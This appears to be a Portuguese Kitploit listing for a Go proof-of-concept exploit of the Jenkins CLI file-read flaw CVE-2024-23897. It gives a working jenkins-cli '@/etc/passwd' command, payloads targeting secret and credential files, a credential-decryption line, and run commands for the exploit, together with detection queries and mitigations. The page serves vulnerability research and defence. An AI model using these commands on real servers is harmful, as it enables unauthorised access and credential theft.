Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
poc-CVE-2024-23897 — CVE-2024-23897: Leitura Arbitrária de Arquivos no Jenkins Leva a RCE | Kitploit
Ferramentas/GitHubGitHub/vmc8ll/poc-cve-2024-23897
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubvmc8ll/poc-cve-2024-23897

poc-CVE-2024-23897

CVE-2024-23897: Leitura Arbitrária de Arquivos no Jenkins Leva a RCE

Ver Repositório
2há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

poc-CVE-2024-23897

CVE-2024-23897: Leitura Arbitrária de Arquivos no Jenkins Leva a RCE 🎯 Produtos e Versões Afetados

root@kitploit:~
Produto: Jenkins (servidor de Integração Contínua/Entrega Contínua)

Versões: Jenkins 2.441 e anteriores, Jenkins LTS 2.426.2 e anteriores

Corrigido em: Jenkins 2.442, Jenkins LTS 2.426.3

📝 Descrição

O CVE-2024-23897 é uma vulnerabilidade crítica no Jenkins que permite que atacantes não autenticados leiam arquivos arbitrários no sistema de arquivos do controlador Jenkins. A vulnerabilidade existe porque o Jenkins não desativa um recurso do seu analisador de comandos CLI que substitui um caractere '@' seguido por um caminho de arquivo pelo conteúdo do arquivo.

Essa falha pode levar à execução remota de código (RCE) quando combinada com outras técnicas, tornando-a particularmente perigosa para organizações que utilizam Jenkins em seus pipelines de CI/CD. 🔍 Detalhes da Vulnerabilidade Causa Raiz

A vulnerabilidade decorre da função expandAtFiles() na classe org.kohsuke.args4j.CmdLineParser. Ao analisar argumentos da CLI, se o analisador encontrar um símbolo '@' seguido por um caminho de arquivo, ele lê e expande o conteúdo desse arquivo. Vetor de Ataque

Atacantes podem explorar essa vulnerabilidade usando a interface CLI do Jenkins sem autenticação: bash

java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd

Análise Técnica Limitações de Leitura de Arquivos

root@kitploit:~
Sem autenticação: Apenas as primeiras 3 linhas do arquivo podem ser lidas (dependendo do comando CLI)

Com permissão 'Overall/Read': O conteúdo completo do arquivo pode ser lido

Arquivos binários: Podem ser extraídos, mas podem ser afetados por problemas de codificação (Windows-1252 no Windows produz melhores resultados que UTF-8 no Linux)

Expansão da Superfície de Ataque

Uma vez obtida a leitura de arquivos, os atacantes podem escalar para ataques mais graves:

root@kitploit:~
Extrair Credenciais:

    Ler /var/jenkins_home/credentials.xml para obter credenciais criptografadas

    Ler /var/jenkins_home/secrets/master.key e hudson.util.Secret para descriptografia

    Descriptografar credenciais usando o console de script do Jenkins: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())

Forjar Cookies "Remember-me":

    Obter acesso administrativo forjando cookies de autenticação

Executar Código Arbitrário:

    Alcançar RCE por meio de vetores de Resource Root URL, XSS ou CSRF

💥 Impacto Impacto Imediato

root@kitploit:~
Confidencialidade: Divulgação completa de todos os arquivos no servidor Jenkins (código-fonte, credenciais, chaves SSH, tokens)

Integridade: Atacantes podem modificar builds, pipelines e configurações

Disponibilidade: Potencial para negação de serviço ou implantação de ransomware

Exploração no Mundo Real

Esta vulnerabilidade tem sido ativamente explorada no mundo real:

root@kitploit:~
Adicionada ao catálogo de Vulnerabilidades Exploradas Conhecidas (KEV) da CISA

Usada por gangues de ransomware (RansomEXX) para comprometer infraestruturas

Explorada pelo ator de ameaças IntelBroker para roubar repositórios do GitHub e comprometer provedores de serviços de TI

🔧 Detecção Indicadores de Comprometimento

Tentativas de exploração bem-sucedidas podem ser detectadas por meio de:

Padrões de Requisições HTTP: texto

POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]

Exemplos Típicos de Payload:

root@kitploit:~
@/etc/passwd

@/var/jenkins_home/secrets/initialAdminPassword

@/etc/os-release

Consulta de Detecção do Splunk texto

index=web uri="/cli?remoting=false" http_method=POST http_status=200

🛡️ Mitigação Correção Oficial

Atualize para as versões corrigidas:

root@kitploit:~
Jenkins ≥ 2.442

Jenkins LTS ≥ 2.426.3

Mitigação Temporária

Se não for possível aplicar o patch imediatamente:

root@kitploit:~
Desative o acesso à CLI do Jenkins

Defina a propriedade de sistema Java: hudson.cli.CLICommand.allowAtSyntax=false

Restrinja o acesso de rede à interface administrativa do Jenkins

Implemente regras de WAF para bloquear requisições contendo padrões @/

🔗 Referências

root@kitploit:~
Entrada NVD

Aviso de Segurança do Jenkins

Catálogo KEV da CISA

Pesquisa Splunk

Página Tenable do CVE 

📦 Compilação e Execução bash

Build the exploit

go build -o jenkins-cve-2024-23897 exploit.go

Run the exploit

./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd

Run with Go directly

go run exploit.go http://target-jenkins:8080 /etc/passwd

🎯 Exemplos de Uso bash

Read sensitive files

./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword

Read Windows file (if Jenkins runs on Windows)

./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini

⚙️ Como Funciona

root@kitploit:~
Inicialização da Sessão: Gera um ID de sessão exclusivo de 20 bytes

Construção do Payload: Constrói payload binário com a estrutura help @/path/to/file

Fase de Upload: Envia o payload para o endpoint CLI do Jenkins

Fase de Download: Recupera o conteúdo do arquivo da resposta

Saída: Exibe o conteúdo do arquivo ou mensagem de erro

📊 Recursos

root@kitploit:~
Implementação em Go puro - Sem dependências externas

Multiplataforma - Funciona em Windows, Linux, macOS

Timeouts configuráveis - Ajustáveis para redes lentas

Tratamento de erros limpo - Mensagens de erro detalhadas

Seguro para binários - Lida com arquivos de texto e binários

⚠️ Notas Importantes

root@kitploit:~
Somente para fins educacionais - Use apenas em sistemas que você possui ou tem permissão para testar

Leituras não autenticadas - Sem autenticação, apenas as primeiras ~3 linhas podem ser lidas

Arquivos binários - Podem ser afetados por problemas de codificação (use um alvo Windows para melhor extração de binários)
Baixar ferramenta